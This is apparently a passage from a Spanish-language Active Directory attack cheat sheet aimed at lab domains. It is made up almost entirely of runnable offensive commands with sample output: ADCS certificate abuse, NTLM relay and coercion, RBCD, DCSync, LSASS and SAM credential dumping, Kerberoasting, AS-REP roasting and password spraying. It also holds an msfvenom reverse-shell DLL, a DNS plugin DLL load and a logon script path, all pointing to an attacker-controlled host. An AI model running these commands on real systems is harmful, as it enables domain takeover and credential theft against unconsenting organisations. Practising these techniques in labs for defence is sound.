    certipy-ad template -u 'user@dominio.htb' -hashes '<NTLM_HASH>' -template <template_name> -configuration <template_name>.json
    
    # Autenticación mediante Kerberos (necesario disponer de TGT/.ccache file en KRB5CCNAME)
    certipy-ad template -k -no-pass -template <template_name> -configuration <template_name>.json -target dc.dominio.htb
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -template <template> -upn Administrator
    certipy-ad ca -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -issue-request 10
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -dc-ip <ip> -ns <ip> -dns-tcp -target-ip <ip> -ca <ca_name> -retrieve 10
    certipy-ad auth -pfx administrator.pfx -username administrator -domain dominio.htb -dc-ip <ip> -ns <ip> -dns-tcp
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca <ca_name> -target <ip> -template <template_name> -upn administrator@dominio.htb
    certipy-ad ca -ca '<ca_name>' -add-officer 'User' -u 'user@dominio.htb' -p 'Password01!'
    certipy-ad ca -ca '<ca_name>' -enable-template SubCA -u 'user@dominio.htb' -p 'Password01!'
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -template SubCA -upn administrator@dominio.htb
    certipy-ad ca -ca '<ca_name>' -issue-request <ID> -u 'user@dominio.htb' -p 'Password01!'
    certipy-ad req -u 'user@dominio.htb' -p 'Password01!' -ca '<ca_name>' -target dc.dominio.htb -retrieve <ID>
    certipy-ad relay -target <adcs_ip> -template <machine_template>
    coercer coerce -l <your_ip> -t <adcs_ip> -u 'user@dominio.htb' -p 'Password01!' -d dominio.htb -v
    certipy-ad auth -pfx machine_account.pfx
    impacket-secretsdump 'DC$@dominio.htb' -hashes :<NTLM_HASH> -dc-ip 10.10.10.10
    impacket-ticketer -nthash <nt_hash> -domain-sid <domain_sid> -domain dominio.htb -spn <spn> Administrator
    KRB5CCNAME=administrator.ccache impacket-psexec -k -no-pass -target machine.dominio.htb
    certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
    certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn administrator
    certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -dc-ip 10.10.10.10 -ca <ca_name> -template <template_name>
    certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
    certipy-ad auth -pfx administrator.pfx -domain dominio.htb
    certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
    certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn Administrator
    certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
    certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
    certipy-ad auth -pfx administrator.pfx -domain dominio.htb
    certipy-ad shadow auto -username hacker@dominio.htb -p 'Password01!' -account victim
    certipy-ad account update -username hacker@dominio.htb -p 'Password01! -user victim -upn 'DC$@dominio.com'
    certipy-ad req -username victim@dominio.htb -hashes <NTLM_HASH> -ca <ca_name> -template <template_name>
    certipy-ad account update -username hacker@dominio.htb -p 'Password01!' -user victim -upn victim@dominio.htb
    certipy-ad auth -pfx <dc_machine_name>.pfx -domain dominio.htb -dc-ip 10.10.10.10 -ldap-shell
    add_computer <new_account_name> <new_account_pass>
    set_rbcd <dc_machine_name>$ <new_account_name>$
    impacket-getST -spn cifs/<dc_machine_name>$@dominio.htb -impersonate Administrator -dc-ip 10.10.10.10 dominio.htb/'<new_account_name>$':<new_account_pass>
    KRB5CCNAME=administrator.ccache wmiexec.py dominio.htb/administrator@dc.dominio.htb -k -no-pass 
    certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
    python3 PetitPotam.py -u <user> -p <pass> -d <domain> <target_ip_address> <listener_address>
    certipy-ad relay -target 'rpc://<adcs_address>' -ca <ca_name> -template DomainController
    certipy-ad find -u '$USER@$DOMAIN' -p '"$PASSWORD' -dc-ip '$DC_IP'
    certipy-ad req -u "$USER@$DOMAIN" -p "$PASSWORD" -dc-ip "$DC_IP" -target "$ADCS_HOST" -ca 'ca_name' -template 'Vulnerable template'
    ❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' get writable --detail
    
    distinguishedName: CN=S-1-5-11,CN=ForeignSecurityPrincipals,DC=gzzcoo,DC=htb
    url: WRITE
    wWWHomePage: WRITE
    
    distinguishedName: CN=userA,CN=Users,DC=gzzcoo,DC=htb
    
    ...[SNIP]...
    
    distinguishedName: CN=userB,OU=Users,DC=gzzcoo,DC=htb
    altSecurityIdentities: WRITE
    ❯ powerview gzzcoo.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
    Logging directory is set to /home/gzzcoo/.powerview/logs/gzzcoo
    [2025-04-23 10:21:44] [Storage] Using cache directory: /home/gzzcoo/.powerview/storage/ldap_cache
    (LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
    PV > Add-ADComputer -ComputerName gzzcoo -ComputerPass Gzzcoo123
    [2025-04-23 10:22:01] Successfully added machine account gzzcoo$ with password Gzzcoo123.
    (LDAPS)-[dc01.gzzcoo.htb]-[GZZCOO\user]
    ❯ certipy-ad req -username 'gzzcoo$'@gzzcoo.htb -password 'Gzzcoo123' -ca <CA> -template Machine -target 10.10.10.10 -dc-ip 10.10.10.10
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Requesting certificate via RPC
    [*] Successfully requested certificate
    [*] Request ID is 15
    [*] Got certificate with DNS Host Name 'gzzcoo.gzzcoo.htb'
    [*] Certificate object SID is 'S-1-5-21-74879546-916818434-740295365-9101'
    [*] Saved certificate and private key to 'gzzcoo.pfx'
    ❯ certipy-ad cert -pfx gzzcoo.pfx -nokey -out gzzcoo.crt
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [*] Writing certificate and  to 'gzzcoo.crt'
    x509.py
    import sys
    from cryptography.hazmat.primitives.serialization import pkcs12
    from cryptography import x509
    from cryptography.hazmat.backends import default_backend
    
    def format_serial_le(serial_int):
        hex_serial = format(serial_int, 'x').zfill(2)
        if len(hex_serial) % 2 != 0:
            hex_serial = '0' + hex_serial
        bytes_pairs = [hex_serial[i:i+2] for i in range(0, len(hex_serial), 2)]
        return ''.join(reversed(bytes_pairs))
    
    def parse_issuer(cert):
        oid_map = {
            'commonName': 'CN',
            'countryName': 'C',
            'organizationName': 'O',
            'organizationalUnitName': 'OU',
            'stateOrProvinceName': 'ST',
            'localityName': 'L',
            'domainComponent': 'DC'
        }
    
        issuer = cert.issuer
        issuer_parts = []
        for attribute in issuer:
            oid = attribute.oid._name
            key = oid_map.get(oid, oid)
            value = attribute.value
            issuer_parts.append(f"{key}={value}")
        return ",".join(issuer_parts)
    
    def get_cert_info(path):
        with open(path, 'rb') as f:
            data = f.read()
    
        if path.endswith('.pfx'):
            private_key, cert, _ = pkcs12.load_key_and_certificates(data, password=None, backend=default_backend())
        else:
            cert = x509.load_pem_x509_certificate(data, backend=default_backend())
    
        serial_le = format_serial_le(cert.serial_number)
        issuer = parse_issuer(cert)
    
        print(f"X509:<I>{issuer}<SR>{serial_le}")
    
    if __name__ == '__main__':
        if len(sys.argv) != 2:
            print("Uso: python3 x509.py file.pfx|file.crt")
            sys.exit(1)
        get_cert_info(sys.argv[1])
    ❯ python3 x509.py gzzcoo.pfx
    X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062
    ❯ bloodyAD --host 10.10.10.10 -d gzzcoo.htb -u 'userA' -p 'password' set object 'userB' altSecurityIdentities -v 'X509:<I>DC=htb,DC=gzzcoo,CN=gzzcoo-DC01-CA<SR>0b00000000005faf85c9569c62400b00000062'
    [+] userB's altSecurityIdentities has been updated
    ❯ certipy-ad auth -pfx gzzcoo.pfx -dc-ip 10.10.10.10 -domain gzzcoo.htb -username 'userB'
    Certipy v4.8.2 - by Oliver Lyak (ly4k)
    
    [!] The provided username does not match the identification found in the provided certificate: 'USERB' - 'gzzcoo$'
    Do you want to continue? (Y/n) Y
    [*] Using principal: userB@gzzcoo.htb
    [*] Trying to get TGT...
    [*] Got TGT
    [*] Saved credential cache to 'userB.ccache'
    [*] Trying to retrieve NT hash for 'userB'
    [*] Got hash for 'userB@gzzcoo.htb': aad3b5b5789c4b14789c4b04ee:1b92789c4b5c524f789c4b44789c4b118ce0
    certipy-ad find -u attacker@domain.htb -p 'Password01!' -dc-ip 10.10.10.10 -vulnerable -stdout
    Certificate Authorities
      0
        CA Name                             : CORP-CA
        DNS Name                            : CA.CORP.LOCAL
        ...
        Request Disposition                 : Issue
        ...
        Disabled Extensions                 : 1.3.6.1.4.1.311.25.2
        ...
        Permissions
          Access Rights
            ...
            Enroll                          : CORP.LOCAL\Authenticated Users
        [+] User Enrollable Principals      : CORP.LOCAL\Authenticated Users
        [!] Vulnerabilities
          ESC16                             : Security Extension is disabled.
        [*] Remarks
          ESC16                             : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
    certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10 -user 'victim' read
    certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'administrator@domain.htb' -user 'victim' update
    certipy shadow auto -u 'attacker@domain.htb' -p 'Passw0rd!' -dc-ip 10.10.10.10 -account 'victim'
    export KRB5CCNAME=$(pwd)/victim.ccache
    certipy-ad req -k -dc-ip 10.10.10.10 -dc-host DC01 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
    certipy-ad req -u 'victim' -p 'Password01!' -dc-ip 10.10.10.10 -target 'DC01.DOMAIN.HTB' -ca 'CORP-CA' -template 'User'
    certipy-ad account -u 'attacker' -p 'Password01!' -dc-ip 10.10.10.10 -upn 'victim@domain.htb' -user 'victim' update
    certipy-ad auth -dc-ip 10.10.10.10 -pfx administrator.pfx -username 'administrator' -domain 'domain.htb'
    sudo apt install libkrb5-dev
    pip3 install powerview --break-system-packages
    powerview dominio.htb/user:'password'@10.10.10.10 --dc-ip 10.10.10.10
    powerview dominio.htb/user@10.10.10.10 -H '01e97f85894e06a5ad698f624b9a7ee9' --dc-ip 10.10.10.10
    powerview dominio.htb/user@dc.dominio.htb --dc-ip 10.10.10.10 -ns dc.dominio.htb -k --no-pass
    powerview dominio.htb/'user':'password'@10.10.10.10 --web --web-host 127.0.0.1 --web-port 3000
    Add-DomainGroupMember -Identity 'GROUP_TARGET' -Members 'USER_TARGET'
    Set-DomainObject -Identity "TARGET" -Set 'servicePrincipalname=cifs/gzzcoo'
    Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=66048'
    Set-DomainObject -Identity 'TARGET' -Set 'userAccountControl=4260352'
    Get-GMSA
    Invoke-Kerberoast
    Set-DomainUserPassword -Identity 'user_target' -AccountPassword 'Password01!'
    Set-DomainObjectOwner -TargetIdentity 'object_target' -PrincipalIdentity 'user_target'
    Add-ADComputer -ComputerName 'Gzzcoo' -ComputerPass 'Password01!'
    Add-ADUser -UserName 'Gzzcoo' -UserPass 'Password01!'
    Add-DomainDNSRecord -RecordName '<dns_record_target>' -RecordAddress <ATTACKER_IP>
    sudo apt install bloodyad -y
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get search --filter '(ms-mcs-admpwdexpirationtime=*)' --attr ms-mcs-admpwd,ms-mcs-admpwdexpirationtime
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' get object 'TARGET' --attr msDS-ManagedPassword
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add uac 'TARGET' -f DONT_REQ_PREAUTH
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' remove uac 'TARGET' -f ACCOUNTDISABLE
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add groupMember 'GROUP_TARGET' 'USER_TARGET'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add shadowCredentials 'target'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'target' servicePrincipalName -v 'cifs/gzzcoo'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set owner 'OBJECT_TARGET' 'USER_TARGET'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'usuario' -p 'password' add genericAll 'OBJECT_TARGET' 'USER_TARGET'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set password 'USER_TARGET' 'Password01!'
    bloodyAD  --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dcsync 'OBJECT_TARGET'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'TARGET' scriptpath -v '\\<ATTACKER_IP>\malicious.bat'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' add dnsRecord <dns_record_target> <ATTACKER_IP>
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' mail -v 'impersonateUser@dominio.htb'
    bloodyAD --host 10.10.10.10 -d dominio.htb -u 'user' -p 'password' set object 'user_target' altSecurityIdentities -v 'X509:<I><.........>'
    privilege::debug sekurlsa::logonpasswords
    file lsass.DMP
    
    pypykatz lsa minidump lsass.DMP
    C:\Windows\system32> tasklist /svc | findstr lsass.exe
    
    Image Name                     PID Services
    ========================= ======== ============================================
    System Idle Process              0 N/A
    System                           4 N/A
    Registry                        96 N/A
    smss.exe                       344 N/A
    csrss.exe                      432 N/A
    wininit.exe                    508 N/A
    csrss.exe                      520 N/A
    winlogon.exe                   580 N/A
    services.exe                   652 N/A
    lsass.exe                      672 KeyIso, SamSs, VaultSvc
    svchost.exe                    776 PlugPlay
    svchost.exe                    804 BrokerInfrastructure, DcomLaunch, Power,
                                       SystemEventsBroker
    fontdrvhost.exe                812 N/A
    PS C:\Windows\system32> Get-Process lsass
    
    Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
    -------  ------    -----      -----     ------     --  -- -----------
       1260      21     4948      15396       2.56    672   0 lsass
    PS C:\Windows\system32> rundll32 C:\windows\system32\comsvcs.dll, MiniDump 672 C:\lsass.dmp full
    nxc smb 10.99.99.10 -u 'user' -p 'Password01!' -M lsassy
    nxc smb 10.99.99.10 -u 'user' -H '027ae3139c0b6e47d3825660c1ede923' -M lsassy
    nxc smb dc.dominio.htb --use-kcache -M lsassy
    lsassy -d dominio.htb -u 'user' -p 'Password' 10.99.99.10
    lsassy -d dominio.htb -u 'user' -H ':027ae3139c0b6e47d3825660c1ede923' 10.99.99.10
    lsassy -d dominio.htb -k --no-pass 10.99.99.10 -dc-ip 10.99.99.10
    echo '027ae3139c0b6e47d3825660c1ede923' > hashes.txt
    
    hashcat -a 0 -m 1000 hashes.txt /usr/share/wordlist/rockyou.txt
    hashcat -a 0 -m 1000 027ae3139c0b6e47d3825660c1ede923 /usr/share/wordlist/rockyou.txt
    On Kali
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=<ATTACKER_IP> LPORT=443 -f dll -o pwn.dll
    
    impacket-smbserver smbFolder $(pwd) -smb2support
    
    rlwrap -cAr nc -nlvp 443
    On Windows
    dnscmd.exe /config /serverlevelplugindll \\<ATTACKER_IP>\smbFolder\pwn.dll
    
    sc.exe stop dns
    
    sc.exe start dns
    C:\Users\bob\Desktop> LaZagne.exe all
    |====================================================================|
    |                                                                    |
    |                        The LaZagne Project                         |
    |                                                                    |
    |                          ! BANG BANG !                             |
    |                                                                    |
    |====================================================================|
    
    
    ########## User: bob ##########
    
    ------------------- Winscp passwords -----------------
    
    [+] Password found !!!
    URL: 10.129.202.51
    Login: admin
    Password: SteveisReallyCool123
    Port: 22
    C:\> findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
    Get-ChildItem -Path C:\ -Include *.txt,*.ini,*.cfg,*.config,*.xml,*.git,*.ps1,*.yml -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern "password"
    C:\Temp>systeminfo
    systeminfo
    
    Host Name:                 GRANNY
    OS Name:                   Microsoft(R) Windows(R) Server 2003, Standard Edition
    OS Version:                5.2.3790 Service Pack 2 Build 3790
    *Evil-WinRM* PS C:\Temp> reg save HKLM\SAM C:\Temp\SAM
    The operation completed successfully.
    
    *Evil-WinRM* PS C:\Temp> reg save HKLM\SYSTEM C:\Temp\SYSTEM
    The operation completed successfully.
    ❯ samdump2 SYSTEM SAM
    Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    *disabled* Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    *disabled* :503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    *disabled* ä:504:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
    # AS-REP Roast desde impacket-GetNPUsers
    impacket-GetNPUsers -no-pass -usersfile users.txt dominio.htb/ 2>/dev/null
    
    # AS-REP Roast a través de impacket-GetNPUsers y un bucle while
    while read username; do impacket-GetNPUsers dominio.htb/"$username" -request -no-pass -dc-ip 10.10.10.10 >> hashes.txt; done < users.txt 2>/dev/null
    
    # AS-REP Roast a través de netexec
    netexec ldap 10.10.10.10 -u users.txt -p '' --asreproast hashes.txt
    # Kerberoasting Attack a través de impacket-GetUserSPNs autenticación básica
    impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/'user':'password' -request 2>/dev/null
    
    # Kerberoasting Attack a través de autenticación de Kerberos (disponer de ticket TGT en KRB5CCNAME)
    impacket-GetUserSPNs -dc-ip 10.10.10.10 -dc-host dc.dominio.htb dominio.htb/user -k -no-pass -request 2>/dev/null
    
    # Kerberoasting Attack realizando PassTheHash
    impacket-GetUserSPNs -dc-ip 10.10.10.10 dominio.htb/user -hashes :<NTLM_HASH> -request 2>/dev/null
    
    # Kerberoasting Attack a través de netexec
    netexec ldap 10.10.10.10 -u 'user' -p 'password' --kerberoasting output.txt
    # Fuerza bruta para enumerar usuarios
    kerbrute userenum --dc 10.10.10.10 -d dominio.htb /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt
    # Password spraying sobre una contraseña contra un listado de usuarios
    kerbrute passwordspray -d dominio.htb --dc dc.dominio.htb users.txt 'password'
    
    # Brute Force con un listado de usuarios y contraseñas. Listado en formato --> usuario:password
    kerbrute bruteforce -d dominio.htb --dc dc.dominio.htb userspasswords.txt
    
    # Brute Force sobre un usuario con un listado de contraseñas
    kerbrute bruteuser -d dominio.htb --dc dc.dominio.htb passwords.txt 'user_target'